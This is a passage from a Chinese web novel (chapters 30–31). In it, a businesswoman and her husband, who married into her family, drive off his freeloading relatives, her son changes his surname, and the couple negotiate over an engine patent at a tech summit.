孟姨心里头着急,这时候真的就需要个能拿主意的人,而夫人这时候出现,总是能给人满满的安全感。 门这时候被猛烈敲了两下,依稀还能听见一道男声和一道女声,这就是刚刚开门的人。 孟姨直接拦住了要去开门的纪悠。 “夫人,外面是沈总的亲戚。” 纪悠恍然,原来这就是沈介舟装穷也要躲避的人吗? 这还蛮有意思的。 她安慰孟姨,“没事的,交给我。” 孟姨看夫人都知道,那就更安心了,而且不知道为什么,夫人说这种话真是格外的有信服力。 “那需要我把家里有钱的东西都收拾起来吗?” 纪悠觉得好笑,“家里没钱,又怎么可能住的起这么大的别墅啊?” 而且还是装修也不错,各方面配套齐全的别墅,就算她不懂行,也能在第一眼看出这些实木家具价值不菲。 孟姨闻言也是拍拍头觉得自己犯蠢了,她无奈地又朝外看了一眼。 “也不知道他们怎么找到这来的,推开门的第一眼就说这是沈介舟的房子吧,我说他们找错了,他们还不信。” 直到她说‘再不走报警了’,接连恐吓了好几遍两人才离开。 真不知道他们是怎么找过来的,毕竟原先的时候沈总瞒的这么好。 纪悠无所谓地耸肩,“这种事谁知道呢。” 就比如林墨家亲戚来的一样让人猝不及防,但又没关系,她能解决的了。 林叙白在她旁边站定,“你打算怎么做?” 纪悠没回答他,只是上下扫了人一眼,“这个时候,或许有个孩子确实效果会更好些。” 林叙白不理解,只能眼睁睁地看人打开了门。 纪悠推开门能看到提着大包小包站在外面的人,明显是来投靠的,能从眼里透露出算计的影子。 这种眼神可真是眼熟。 她笑着询问道,“请问有什么事?” 来的年轻男人诧异现在打开门的是一个年轻女人,现在这女人还这么漂亮,但不是成年大汉就没威胁。 他直接毫不客气的往里面探头。 “沈介舟是不是住在这。” 纪悠没否认,“如果不是同名同姓的话,那你们找的人确实就住在这。” 年轻男人拎着包,烦躁地跟旁边的中年女人抱怨道,“我就说我们没找错地方,那个臭保姆还非说我们说错了。” 弄的他们拎着这么重的东西跑了好几圈。 现在的话,“既然这是他家,那我是他表弟,大家都是一家人,我们奔波一天了,就想进去休息一下。” 纪悠感叹这人可真不客气,她上下扫视一眼对方然后面露嫌弃地摇头。 “这恐怕不行。” 年长女人看不下去了,“你这女人什么态度,他是你男人吧,那我也是你长辈,哪有你一个小辈这样不让长辈进去的道理。” 还有这眼神,什么眼神啊,看着就让人不爽。 城里人了不起啊! 纪悠从不否认两人关系,而且从穿着打扮看起来她确实像是这个家的女主人。 所以他们有这个猜测无可厚非。 她耸耸肩,随即注意到什么,眼神放到他们身后。 然后慢悠悠地解释说,“这真的没办法,毕竟他入赘到我家里来的时候说是父母双亡,无亲无故。 所以我才在这么多备选人当中挑中他啊。”—— 作者有话说:表弟:表哥,这就是你在城里说的体面工作吗?[菜狗][菜狗][菜狗] 哈哈哈哈 作者拖延症晚期,更新时间应该是在十一点到十二点之间,十一点半之后可能性更高[爆哭][爆哭] 第 30 章 更新(二合一)…… “你这是什么意思?” 纪悠没客气, “你想的是什么样子,那这件事就是什么样子。” 叶常宝看着这大别墅,再想到沈介舟之前的窘迫, 所以沈介舟他这是吃软饭了啊。 吃软饭的对象还有了这么大个孩子。 他从来比不上沈介舟,但这件事明显给了他十足的优越感。 “我们在乡下不知道, 沈介舟他在城里居然能干出这么丢人现眼的事。” “是吗?我倒是不觉得丢人现眼。” 沈介舟看了一眼纪悠,就在刚刚他刚回来,就意外的看到了这两个人, 她做了一个良好的处理措施, 他当然该按照这个去做。 虽然她的处理方式, 一定是故意的, 且不怀好意的。 从对方调笑的神色就可以看出来,但偏偏他还就得认下来,沈介舟收了视线, 发现对她的打算自己从来都是毫无还手之力的。 但偏偏, 他并不觉得抵触, 大概是她的处理从来松弛有度的。 而且出发点,从来都是好的。 他站在门外轻轻道,“我回来了。” “你去接孩子怎么搞到这么晚?” 沈介舟想去牵林向晨的手,但却被打落在旁, 他解释说,“抱歉, 去接孩子的过程中耽误了点时间。” 叶常宝在一旁嫌弃地紧,就这还不叫丢人现眼? 替妻子养育她的两个孩子还讨不着好。 他不敢相信, 一个男人,在家里居然能过成这个样子。 “你怎么这么没用,家里就一个女人两个孩子都拿捏不住。” 沈介舟抬眼, “既然我没用,那你还来找我做什么?” 叶常宝噎了一下,但他确实有求于人,沈介舟从小到大都比他能干有出息,长大之后就是比他能挣钱。 还能在城里站稳脚跟,他这才想着来城里来投奔看看。 沈介舟能行,凭什么他就不行。 但没想到他通过的是这种办法。 他咽了下口水,看了下纪悠的长相,又看了看这大房子,心里一阵冒酸水。 但道德制高点已经被他占据了,要是这时候说反话,只会比沈介舟还要没脸。 他不再说话,他妈杨梅娟赶紧顶上,“小沈别放心上,你表弟不是一直这样心直口快嘛,我们这次是你姥姥念着你生日,特地让我们来看你的,还让人带了你最爱吃的白薯呢。” 说是带了白薯,但也只有两三个,大部分都是叶常宝的行李。 沈介舟不说话,他淡然接过,“姥姥最近怎么样?” “还不是那样,迷迷糊糊的,老年痴呆的人啊,根本都认不清人了,我照顾她可是废了老大的功夫呢。” 杨梅娟眼看他表情不为所动,瞬间感叹那老婆子花钱给他治腿的这笔钱可真是白花了。 “我们这奔波了一路,一路上又渴又累的,要不进去让我们喝杯水。” 沈介舟淡淡,“这我可做不了主。” 杨梅娟现在跟自家儿子的想法达成了高度一致,她就不明白,虽然是入赘,但是好歹是进去了有钱人的家。 好歹过得像个人吧,而不是这么卑躬屈膝的讨好。 这样不如拿捏住,图谋点妻子家的家产,还能给他们家带来点好处。 她真是恨铁不成钢,觉得那俩祸害死的早,居然连这点本事都没教给自家儿子。 “这不是祖母还想着给你做碗长寿面,这没碗没材料的,我怎么着手呢对吧。” 比起沈介舟,最先有动作的是纪悠,她稀奇道,“今天是你生日?” “可以这样说没错。” 沈介舟其实对生日的感觉是复杂的,因为那只不过是父母忽视,亲戚拿来当借口的幌子而已。 但是他此刻看着白薯,却还是为有人记得这个日子感到一丝动容。 他看着纪悠,纪悠看着他笑了好一会,然后才道,“让他们进来坐一会吧。” 得了应允几人才进去别墅,叶常宝看着这排场嫉妒心都要溢出来了。 但被说只能坐在沙发上不能到处看的时候这种心情又被抑制了下去。 作为丈夫,连生日都不被女人看见,连个正经地位和生存空间都要被女人压榨,这也太难过了。 他看了一眼美貌的富家女,瞬间觉得这么美貌也没用,到底是蛇蝎心肠。 ‘蛇蝎心肠’的纪悠坐在对面沙发上,她觉得无论从刚开始见面打的配合,还是刚才进门时候求取意见的样子,都太像一个标准小白脸该有的基本素养。 她突然有种感觉,就是沈介舟真的去做小白脸,他的日子也不会过得太差。 这还真的蛮搞笑的。 她单手捂着嘴角,另一只手指着桌上的橘子吩咐道,“剥了。” 沈介舟从善如流的接过,他似乎对这种事很熟练,连上面的白丝都一点点的清理干净,只是这个天气,显然还到不了橘子纯甜的季节。 看着纪悠因为酸皱起来的眉沈介舟忍不住又伸出手。 纪悠慢悠悠地看了他一眼,然后咽了下去。 她把橘子重新放下,然后看向厨房支使道,“不先去做饭吗?” 杨梅娟提着大包小包,累的满头是汗。 此刻她不可置信,“难道不该先给我们倒杯水吗?” 纪悠左右看了一眼,然后毫不客气拆穿这样的小伎俩。 “这样一步一步的提要求,该不会接着想在这个家住下来吧。” 那感情好,还要给他们收拾客房,再然后,岂不是还要住上几个月,再然后,那岂不是连找工作都要麻烦他们家啊。 纪悠又不是个傻子,而且她现在可是个独自撑起公司的女强人。 “之后再给你儿子找个白富美也在都城定居怎么样啊?” 杨梅娟:“这感情好啊。” 她家儿子肯定比沈介舟有本事啊,肯定能拿捏住女方。 纪悠笑了一下,原来人在无语的时候,真的会笑一下。 林向晨在后面仿佛接收到讯号一样眼神亮了起来,就知道妈妈不会让自己吃一点亏的,这个时候就轮到他出场了! 他得意地看了一眼林叙白,果然这种时候只有他能快速领会到妈妈的意思。 他跑到前面抱住妈妈,“妈妈,我才不要家里面有外人住,有后爸一个还不够吗?” 众人都被向晨的大嗓门吓了一跳,林叙白是最先反应过来的,他也是见得最多的。 他笑了笑,然后朝前走了半步。 “我也觉得这样不好。” 纪悠诧异地看了林叙白一眼,然后笑着安抚了一下自家两个孩子,“没办法,毕竟是你们后爸和沈叔叔家里的亲戚。” 林叙白也是差异,沈叔叔居然和他们家一样有一堆不让人省心的亲戚。 “这也是沈叔叔说了,他无亲无故的关系。” 林向晨觉得对啊,他直接把矛头指向后爸。 “是你说的家里无亲无故,我才让我妈选你的,现在居然冒出什么亲戚,你居然敢骗我,信不信我让我妈把你赶出家门。” 纪悠满意的点了点头,很明显孩子们说的话就是她心里想的。 但表面上还要装着说,“真是抱歉啊,这两个孩子都被我宠坏了。” 但是装又装不过三秒,“所以现在能麻烦你们赶紧收拾东西离开我家吗?” 在这个家,沈介舟显然是没有任何话语权的,母子俩把视线投向沈介舟,但看人不中用到这个地步,也只能咬牙恨铁不成钢的走了。 沈介舟在这个过程中留下了白薯,至于他们口中提到的长寿面。 纪悠看了眼时间,折腾了这么久,也不过七点,完全来得及吃晚饭。 她叫住孟姨,“让孟姨给你做,让那个人来,你也不怕吃了折寿。” 沈介舟闻言下意识地否认,“我没想吃。” 纪悠嗤笑一声,拍拍向晨的脑袋让他去吃原本孟姨做好的饭菜,接着又看向沈介舟,“嘴挺硬的,难怪适合吃软饭。” 沈介舟:“……” 等等,这两者好像并没有直接的因果关系。 他不赞同地看向纪悠,但纪悠只是无趣的耸耸肩,把‘吃软饭’的话题点到为止。 但是某些事情还是要重点提一下的,比如沈介舟对于当小白脸的轻车熟路,他还真的蛮懂行的嘛。 纪悠感叹了一下,然后继续把想说的事情说出口。 “我倒是不在意你平日里会去哪些场所,但是不要带到家里来让孩子们看到,这是我的最低要求。” 沈介舟觉得她对婚姻的要求有些太过悲观,而他也并不是会出入那些场所的人。 毕竟他原先是打算一辈子贯彻不婚不育念头的人。 但有些事不能说的太明白,解释的太清楚,这样显得他好像有什么别样的想法一样,他看了纪悠一眼,然后又撇开,此刻选择含糊的解释道。 “你多虑了。” “希望如此。” 沈介舟把视线投向厨房,孟姨自从人来了一直都待在厨房,只在刚刚出来了一小会。 显然她并不打算知道他太多的事。 现在的话则是在厨房做长寿面,或许她说得对,杨梅娟做的长寿面,他确实吃不起。 他回到屋子里,在坐着的时候能看到被尖锐木棍划破的腿肚。 他的母亲是个疯子,或许是个癫狂的人也说不定,但总归,精神是不太正常的。 那天她把他带到城里,却不把他带回去。 或许是他被丢弃了,又或许是她就是不走心到忘记了,记得那年他十岁,在深夜着急回家的时候,他和叙白一样慌不择路的摔下山坡,姥姥就是在这时候出现的。 他们之间没有养育的舐犊情深,比起想要善待他,她的一举一动更像是在处理母亲留下的烂摊子。 但他确实因此获得了好处。 他被救治了,花了姥姥积蓄中的大部分的钱,才保住了这条命和这条腿,所以他会报答她,但不会想着养育她。 每个月给她点钱并确保这笔钱能用到她身上一小半就是他能做到的,报答方式的全部了。 所以在他之后遇见林墨的时候,能在他身上感受到那种和他一样对于家庭深深的无力感。 那种在不可言说中达成的默契是颜乐体会不到的。 他们之间建立起了快速的友谊,逐渐发展成为了过命的兄弟。 事实证明,他们的友情也经的起危险的验证。 而他也会如林墨所料的照看起他的儿子,哪怕是一辈子。 但是对待纪悠和向晨这件事,沈介舟顿住,然后回想起刚刚发生的一件件一幕幕,那种应对亲戚十分熟练的姿态,是他们的保命符。 这意味着名声,对他们来说到底有多不在乎,也意味着他们有多难。 他越了解,越觉得在这点上,林墨你或许是真的做错了。 沈介舟坐着,能在合适高度的桌子上看到他和林墨的合照,那是他们友谊的符号。 同时也是他的救命恩人。 他看了照片上的人一眼,然后双手握拳,支着头沉思良久。 —— 林向晨嘴角挂着半滴面,他用舌头卷了进去,自从后爸昨晚提了那事,他当然也是馋了。 所以今天才会想吃这个。 陆昭然今天也吃的面,因为他们待的是面馆,其实他姥姥不怎么让他吃外面的东西,但是好像真的还蛮美味的。 感觉他跟在林向晨身边,见识到了不少好玩的有意思的事了。 就比如以前那里能听到这么刺激的事啊。 还是来源于向晨后爸、那个沈介舟的家里事,陆昭然吃了一口面条,然后问道,“然后呢?” “然后当然是被我和妈妈的合力攻势下吓得屁滚尿流。” 陆昭然现在总算弄懂了朋友家剪不断理还乱的家庭关系,他感觉,“林叙白居然也参与了?” 看起来完全不像是会参与这些事的人啊。 林向晨忍不住嫌弃道,“只能说是比以前强点。” 以前遇到这种事就知道跟个木头人一样站着。 他最看不惯林叙白的一直也是这一点。 反正呢,从以前到现在,发挥了主要作用的还是他啊。 林向晨得意地哼哼两声,他吃面条一向是把汤也喝完的类型,“那我们接下来打算去哪玩啊?” 陆昭然抿抿唇,有些话他还是要说的,这是他最新得到的消息,“就是我们学校,好像在期末考试之前会有一次小考试的。” 这个考试,和期末考试差不多重要,是给期末考试做铺垫的。 所以向晨,要不要开始学点习? 他这么想也是这么问的。 林向晨疑惑,“正常来说,不是要说我们俩一起学习吗?” 陆昭然小声,“其实我的成绩还是蛮好的。”就是那种比不上哥哥,但是好歹能混进年级前十的那种程度。 他一直强调的,是他没到学校参与过系统学习。 只是一直因为身子弱在家待着,被妈妈和姥姥这两个有文化的人教导,所以他的成绩一直都是不差的。 林向晨震惊,“什么?!” 但是他的朋友也没说错,一直都是他潜意识的认为他的朋友成绩不好而已。 天呐,感情这四个人当中成绩不好的只有他和昭然的那位哥哥吗? 陆昭然想起之前也没有正经的介绍过他哥哥,所以他哥哥成绩其实也不差的,比他还好,年级第一的那种程度。 林向晨梅开二度,“什么?!” 陆昭然见他不信,这次表示要给他看。 期中考试的成绩都是贴在黑板上的,有些特别好的班甚至会被贴到学校里公开嘉奖。 许言疏的名字赫然在列,他是六年级第一,也能在都城联考中取得全年级第一。 林向晨发现了个华点,他当即表示,“怎么你们兄弟俩,姓氏都不一样!” 陆昭然能说,他还因为向晨兄弟俩姓氏一样困扰过吗? 他咳嗽两声,“因为我们俩一个随爸姓,一个随妈姓。” 这很正常吧,因为他是二子。 林向晨:“这也太酷了吧!” 在他们乡下,从来没有人这样干过。 那他当然也不知道还可以这样干,仔细一想,对啊,他爸已经死了,他完全可以随妈妈姓啊。 纪向晨!姓纪。 简直越听越上口啊,有没有! 他欣喜地拍了一下陆昭然的肩膀,“我现在就回家把这个打算给妈妈说下。” 陆昭然:“……” 等等,向晨,咱要不要再继续谈论一下学习的话题? 但向晨已经等不及了,他直接打电话然后不消五分钟就坐上了司机的车,然后妈妈不在家,在家的是沈介舟。 林向晨把书包放下就跑到沈介舟面前抱胸,气势明显非常足的宣布一件事。 “我要改姓!” “姓沈?” “姓纪!” 沈介舟明白自己又自作多情了,他点点头,纪向晨吗?确实符合他们母子俩之间的相处模式。 他思索了一下,“或许可以问问叙白想不想改。” 林向晨迟疑,“姓沈?” “姓纪。” “我不同意!” 有一瞬间,林向晨怀疑沈介舟是在专门和他对着干,才出了个这么让人震撼的馊主意。 沈介舟沉思,这真不是他想针对向晨,只是他能在叙白身上感受到那种微妙的憧憬心理。 这点明显在纪悠带着人频繁去实验室之后,这种心情,明显在加剧。 他也没想到,她是个天才,叙白也是。 意思是在这次的近水楼台先得月上,他输的算是彻彻底底了。 但是就算想到了,面对她,他不想过界,面对叙白,他也不想压榨这么小的孩子。 仔细一想,这种错过又显得理所当然了。 沈介舟捏了捏眉心,等人回来他先把这事告诉纪悠,然后把眼神放到了林叙白身上。 林叙白抿唇,他当然想和她建立起更深厚的感情。 但是改姓吗? 这显然并不能代表什么,毕竟他和林家同样姓林,但结果不也是同样得不到善待。 而且,他死去的父亲,向晨可以指责父亲,但是他不能。 林叙白一直都很清楚这点。 他抿唇道,“我姓林。” 在一旁的林向晨哼了声,“这样最好。”要是哪天他想改姓沈,他也没意见的。 他给林叙白做了个鬼脸,“等到时候,我们俩的东西就用姓氏区分一下吧。” 他想出这个主意也不是没道理的,就比如他上次那冬装,都要拿起来简单比对一下大小,真是麻烦死了。 林叙白顿了顿,这种物件区分方式,让他想起向晨曾经在电话里说过的话。 他直接拉住向晨,“我曾经给你拿的东西,不是我挑剩了才给你的。” 那些东西,是他精心选的适合他才送给他的。 林向晨诧异地看他一眼,他撇撇嘴,然后甩开他的手别扭的道,“行了行了,我知道了。” “真的吗?” “真的行了吧。” 他的态度不耐烦,但在深的层面好像又变化了一点,但也只有一点点。 纪悠见状,“向晨一直都知道事情的责任人是谁。” 林叙白:“我知道。” 他一直都知道向晨是个心善可爱的弟弟,只是比起这种敌对的兄弟关系,他想要改善一点而已。 哪怕只有一点点。 纪悠选择跟上向晨,既然林叙白不打算改姓,那自然也就不用去了。 她摸了摸向晨爱往她身上拱的脑袋,觉得向晨在年纪这么小的时候就已经懂得了很多,但有些事情还是没办法看开。 尤其是这个怨怼的人已经死了的情况下,他的一腔情绪更是没办法去诉说。 或许改姓,是真的很合适的一个想法和举动。 她笑了笑,直接坐上了车的驾驶座。 她在这段时间,已经考到了驾照,带人去到地方,只是走了一些程序就拿到了新的身份证明。 她以为拿到新的身份证的那一刻,向晨做的第一件事就是告知所有人他改姓了。 但他并没有这么做。 纪悠还没有想明白,但纪向晨显然有他自己的一套打算。 那就是不给这个姓氏丢脸! 他坐在汽车上,由着沈介舟把他送去学校,在临走前他解开安全带快速地跟沈介舟说了一下。 “我要去考试了。” 沈介舟短暂地没有反应过来,只道,‘好……’ 等等,考试? 如果没记错,向晨的成绩好像是和他的教育名声绑定了才对。 他伸出手想要拉住人,然后扑了一场空。 他闭上眼,显然情绪和第一次知道向晨考试只考了三分一样的不淡定—— 作者有话说:[菜狗][菜狗][菜狗]《 》 30-35 第 31 章 更新(二合一)…… 沈介舟重新睁开眼, 情绪已经全然收敛起来了。 他明白现在不是想向晨成绩的时候,他调转方向去了公司,然后打了个电话给司机让他晚上去接向晨。 因为他晚上有别的事需要忙。 颜乐见他挂断电话, 又忍不住问道,“你真的不是在用孩子去讨好你的新婚妻子吗?” 讨好? 之前颜乐也是这样说的, 也是这个态度,但经历了亲戚到他家来的这次。 沈介舟沉着眼,想起了他的‘讨好’行径。 当时, 她差点就指着他, 说他‘一副勾栏做派’了。 明明他从来没去过那种场所, 当时的话, 也真不知道他当时是怎么了。 沈介舟捏了捏眉心,不满地上下看了一眼颜乐,“你难道就没有自己的事要忙吗?” 好像自从他结婚后, 颜乐来他公司的次数是不是太多了点, 以前是一周一次, 现在一周三四次,多的甚至五次。 面对嫌弃颜乐也只是笑笑,并不接话茬。 谁让他是真稀罕,因为他这阵子在沈介舟身上吃的瓜比认识他几年都多。 傻子才会错过这个阶段。 他装作一本正经的样子, “现在不也是在工作吗?我们晚上可是要一起去应酬的啊。” 只是颜乐说话间皱着眉头,他乐天派归乐天派, 还是有忧虑的,就是这阵子公司的收益问题。 至于这次的科技峰会, 去参与的话也不知道能不能有点用处。 他小声嘀咕着,略带担忧。 沈介舟瞥开眼,这件事的结果他不知道, 但,“我从来都不是坐以待毙的类型。” 这些年,他奉承的一直都是,去做才会有机会。 等天色渐黑,沈介舟看了眼时间,只觉得天黑的越来越早了,明明先前去接向晨的时候还能看见人影呢。 颜乐也跟着看了一眼天色。 “那没办法,这都这个时候了。”这都快深冬了,天气冷的他家小孩都不愿意出门了。 被妈妈看着学习也愿意了。 颜乐想起来件事,“我家小孩和你家小孩都快要期末考试了吧。” 沈介舟开门的动作一顿,然后额角一抽一抽的,“暂时别提这个。” 他想起他家有研究员也带过学生,用他的话来说就是‘学术界毫无威胁,教育界名誉扫地。’ 他现在感觉就是处在这个阶段。 这是他今天忽略一天,也不想想起的问题了。 他给车开了暖气,然后去到峰会场所,侍者会把他们带到举行宴会的地方,沈介舟象征意义地拿了杯酒,但从不沾唇。 过了一会发现让他头疼的根源竟然也在宴席上。 他在儿童区吃蛋糕,视线却没往这投过一眼。 沈介舟走过去忍不住问,“向晨,你怎么会出现在这里?” 纪向晨一听这话就不服气了。 他下意识反驳,“怎么?我不可以出现在这里吗?” 沈介舟摇头,“这当然不是。”只是他吩咐人把人送回家,结果转瞬,人就出现在这。 能带他来的人沈介舟只能想到一个。 果然向晨指着自己得意地道,“我想来就来,因为我有后台。” 妈妈说今天林叙白有朋友带着,那他要不要跟着她玩一天。 那这哪有拒绝的道理。 沈介舟知道这种宴席一直是能带孩子来的,但比起调皮的小孩,更愿意带的是家里的继承人。 毕竟这里,也算是继承人结交人脉的场所。 但纪悠带了向晨,难道是为了他可以畅快的吃蛋糕吗?也不否认有这个可能。 沈介舟笑了笑,把视线投向她,却发现她和许清则聊的正欢。 颜乐顺着他的视线看过去,然后拍了拍他的肩,这圈子里的事,他知道的可比沈介舟了解的多些。 “你的新婚妻子这么聪明,肯定是不会选择许清则这个道德败坏的家伙的。” 沈介舟:“为什么这么说?” 颜乐感叹沈介舟居然来都城这么久了,连这个八卦都不知道。 他到底有多没有好奇心啊,颜乐先是佩服了一阵,然后开始耐心解释。 “许清则虽然是家里的儿子,但资源都倾斜在他家大哥身上,要不是他想办法先和他的妻子定了婚约,说不准连这点企业都没有。” 也就是说,他的家里,虽然有钱,但却是怎么不顾他的。 直到他和陆家结了婚,得到了岳家的助力,也得到了家庭的一点重视,这时候呢,生活才能开始好一点。 然后呢,重点的来了。 颜乐兴致勃勃,但也没卖关子。 “而且,听说陆家原本是个他大哥有联姻意向的。”这说明什么?说明,“他连他兄弟的女人都抢,这还不算道德败坏吗?” 兄弟女人?道德败坏? 沈介舟捏紧酒杯,眼神冷冷地瞧他一眼。 颜乐瞬间反应过来。 “……当然了,你们俩之间的情况还是不一样的。” 自从沈介舟上次的事情闹出来之后,谁都说他有情有义啊,当然也有一小部分人,在说他冤大头就是了。 但这种事,就没必要让他本人知道了。 颜乐眼神心虚的上下瞥了瞥,然后头脑风暴了一下才想起来自己原先想说什么的。 他继续道,“所以啊,他第一场婚姻是为了钱财,那追求弟妹就是为了技术,弟妹既然这么聪明,又怎么可能上了他的当。” 沈介舟的脸色并没有缓和半分,因为这种结婚的目的和举措,让他不免想到了什么。 这两人居然是这么相似。 难道就是因为是同样婚姻观的人,才让两个人有了共同话题吗? 他承认他有些看不懂了。 手指摩挲了下酒杯,他转换心神,把注意力又放到她这次新推出的发动机上面去了。 他对发动机的了解很多,为了推销,也是为了不被蒙骗。 总而言之,他虽然是老板,但了解的专业知识是一点不少,只要稍稍看上一眼,就能明白眼前的这款产品能源损耗低,动力足。 这种制作,他曾经去外国交流的时候都没见过。 沈介舟抿抿唇,明白他这次如果再拿不下来这个项目,那他就算再怎么努力,也只能维持住公司的堪堪运营了。 这件发动机就是纪悠前阵子在忙活的东西,所以林叙白也有参与。 他虽然在甜品区,但他拿着杯饮料并不喝,显然和大人一样,也在做做样子。 许言疏吃了一口蛋糕也学着他兴致缺缺地放下了,他在心底缓冲他刚刚知道的消息。 “你的意思是说,这里面的发明是有你的一份。” 林叙白重申一遍,“我只是助手。” 许言疏扶额,他知道,这里面的事,哪怕是助手也有很高的含金量,所以学校里曾经疯传五年级来了个神童的含金量还在上升。 他曾经还在说他们拿的是‘王不见王’剧本,但是现在他想,幸亏他们拿的是‘王不见王’剧本。 许言疏摸了摸鼻子,“如果没记错,我们都是十岁,是我的月份比较大才能够得上上六年级的。” “对,我是十月生。” 而许言疏,似乎是二月生,如果林叙白没记错的话。 许言疏:“那这么说,我是不是该叫你声弟弟。” 林叙白拒绝了他的这种行为,主要是他觉得浑身难受,就连眼前的这个人,都有点变得不像他平日里认识的那个人了。 他平日带着自傲,但总归是坦诚,但如今,却变得应酬客气许多。 就像是带了一层虚伪的面具。 他并不喜欢,“可以有话直说。” 许言疏逐渐想起来两人的第一次见面,也明白了林叙白在意的是什么。 他咳嗽了两声,“或许我可以投资你,然后等你以后创作出来的东西,所有权都归我的公司所有,这个交易你觉得怎么样?” 林叙白坦白,“这件事我已经答应别人了。” 她教他,而他则把东西的所有权都给她,所以对于许言疏,他也只能说句‘抱歉了’。 “这点事还不至于说抱歉。” 就算没这层关系,许言疏还是愿意和人交好的。 只是这个意思,就代表着这位夫人才是掌握最终话语权的人。 那或许,他一直理解错了他爸爸和那位夫人两人之间的关系。 他的父亲或许和他打的是一个主意。 许言疏把猜测和林叙白说了一下,林叙白皱着眉头不浅不淡地说了一句,‘是吗?’ 这个腔调让许言疏也摸不清他什么意思,只是和他告别,然后在这次的宴会中和一直认识的人攀谈。 林叙白把背脊靠在座椅上,其实不光是许言疏,或许就他也没明白他自己在想什么。 如果她和许言疏父亲不是他们想象的那层关系,那意味着向晨也就不用给沈叔叔加码,在她面前赚取印象分。 结局就是家里之间,互换结束。 林叙白抬头,纪悠站在远处,众星捧月,她还是这么悠闲,但在应酬之余,把视线都放在了胡吃海喝的向晨身上。 他从来都没指望过她能把他当亲生孩子看待。 只是希望像近期这样就可以了。 没想到连这点现在也做不到了。 他是需要告诉向晨的,这是他思考良久,最后做出的决定。 他走到向晨身边,然后把手里边的一块蛋糕递给了他。 这是抹茶的,整个宴会,只有他刚刚待过的角落里有。 他把这件事的因果关系用浅显易懂的方式给向晨说了一遍,果然得到向晨的一句震惊,“什么?!” 林叙白抿唇,“所以你也可以取消和沈叔叔的学习关系,回到她身边了。” 纪向晨咬牙,这话他哪怕提前三天说也好啊。 就算他再心痛,现在也只能抬手说一句,“不用了。” 林叙白反而不理解了,他发出了和纪向晨同样的质问,“什么?” 他觉得这句话有点突出不了自己的疑问,然后又重新解释了一遍,“我不太理解你的意思。” 纪向晨叉着腰,他首先需要确认一下,“你这次考试能考全年级第一吧。” 林叙白点头,“对。” “那你不理解我就对了!” 纪向晨委屈巴巴,四个人就他一个成绩差的,到时候成绩一出,他现在还能找到他成绩差推脱对象,那换回来,该怎么跟妈妈交代。 而且还会给这个姓氏丢人了。 他才刚换的姓氏啊,可恶。 所以他刚刚才说,为什么早不说晚不说,非得在这个时候说。 真是倒霉死了。 纪向晨狠狠的跺了跺脚,嫌弃地摆摆手,“赶紧走赶紧走。”紧接着他又补充了句,“人走了,蛋糕留下。” 他化悲愤为食欲,感觉还能再吃一阵。 远处的纪悠看了人一眼,觉得医生让她常备健胃消食片这点真是一点都没说错。 她不喜欢和任何人应酬,但她偏偏是这次宴会真正的主角。 曾经她带着许清则的身份标签出现,现在的这次是为了证明她真的有这个实力,然后在这个地方站稳脚跟。 往后不会轻松,但是钱也是拿的实实在在。 许清则在一旁眼馋的紧,但他明白,如果这时候和纪悠说点实验室是他的,或者提起原先的交易这种东西,只会把人推的越来越远。 说不定还会惹怒对方,那就更是什么都拿不到了。 他还是想和人保持这样能继续下去的关系的。 他给人倒了一杯橙汁。 是的,在刚刚的应酬中,纪悠居然一直在喝橙汁。 无数的酒都怼回去了,而且态度也十分不好,但偏偏所有人都得陪着笑脸。 许清则跟在身边都爽的乐呵了,如果可以,他也想这么爽快的活一回,用难听点的话来说,就是这么刻薄和挑剔。 他把桌上的酒杯递给她,“我伺候的怎么样?” “很差。” 许清则:“……” 倒是忘记他也是近距离体会到纪悠的刻薄与挑剔的人了。 他确实做不惯这样伺候别人的活,一次不成,他也懒懒散散地坐在一边,没有再继续动作的意思。 纪悠嘴角微勾地看人一眼,她也不是针对他,她挑剔的原因当然是因为她体会过更好的。 宴会这时间显然是已经进入了后半段,她拿着一份合同,一份专利证明。 在这些日子,她也把基本的流程熟悉了个遍。 所以在这点上,她还是记得许清则的好的。 而且他进退有度,提过的事情从来不会再提第二遍,所以纪悠许诺,“我每年会给你样小东西来当实验室的租金的。” 许清则眼睛亮了亮,他可不认为纪悠说的小东西是真的小东西。 毕竟上次她口中的小东西已经给他公司带来了几百万的利润了。 他‘啧’了一声,满脸喜悦,把刚刚的那点不悦完全抛之脑后。 沈介舟眯起眼,他视力很好。 能从这个位置看到两人交流的神情,许清则的开心不似作伪,所以这次的合约又是内定了吗? 沈介舟在想,他还是要争取一下的。 首先是不争一下,还不能完全的判断他输了。 还有就是现在他代表的可从来不是一个人,公司上下他们都信赖着他,仰仗着他,虽然他不太懂这样的情绪,但他确实不能辜负他们。 沈介舟神色不变的看着纪悠,直到许清则看到了他的老伙伴起身应酬,他才走过去。 他首先要了解到的是竞争对手的筹码。 他因着和纪悠的那层关系,聊天是偏自在那一挂的,“许总的价码很合适吗?” 纪悠单手撑着椅子,仔细回忆了下。 “他说的是技术入股,百分之三十的分成,这点确实让我很心动。” 他们都知道,这是技术入股很大的份额了,就算是沈介舟,应该也给不出更好的了吧。 沈介舟沉着眼,他确实也没想到许清则这个在外界这么吝啬的人这次会这么大方,大方到连他都心惊了。 “那你是已经同意了吗?” 纪悠深谙谈判的手法,“那得看沈总的态度。” 沈介舟叹口气,他就知道这次聊的不是这么简单。 他总觉得他就算把他的那份给出去纪悠也不会乐意,大概是很神奇吧,他就是从纪悠的一举一动中体会到了这个意思。 他决定直接一点,“你想要什么?” 纪悠总算听到一句还算满意的话了,她笑得乐不可支,然后往后坐得离他离的近了些。 “其实我想要那场表演再来一次。” 纪悠原先就说了,沈介舟当吃软饭的或许真的有他的一套。 沈介舟皱着眉,他想问‘认真的吗?’,但对方一定会顾左右而言他不给他真实的答案。 他深吸口气,当时他神志不太清醒,等回过神来,事情已经发生了。 所以要他现在,神志清醒的时候,他觉得,他还真做不出来,而且在颜乐说的那样,和兄弟的妻子,是道德败坏。 沈介舟长久没再说话,纪悠也不说话,反正着急的从来就不是他。 倒是远处的许清则看着两人的氛围,这种氛围很奇怪,明明不说话,但却不尴尬。 能从两人身上看出一种很舒服的磁场。 他的眼神左右扫视然后问了一句很普通是话,“在聊什么?” 沈介舟看着许清则,他嘴唇干涩,瞬间觉得他更做不到了。 他没有回应,而是选择躲避,“我先走了。” 许清则这时候看着他的背影,没给对方鼓掌,因为他能从这里面体会到狼狈的情绪。 沈介舟回到颜乐身边,颜乐几乎当场就问,“聊的怎么样?” 沈介舟:“……没有谈妥。” 颜乐也不算意外,哪有这么容易啊,所以他原先也是奔着打探消息去的。 而这个身份上呢,沈介舟要比他更合适。 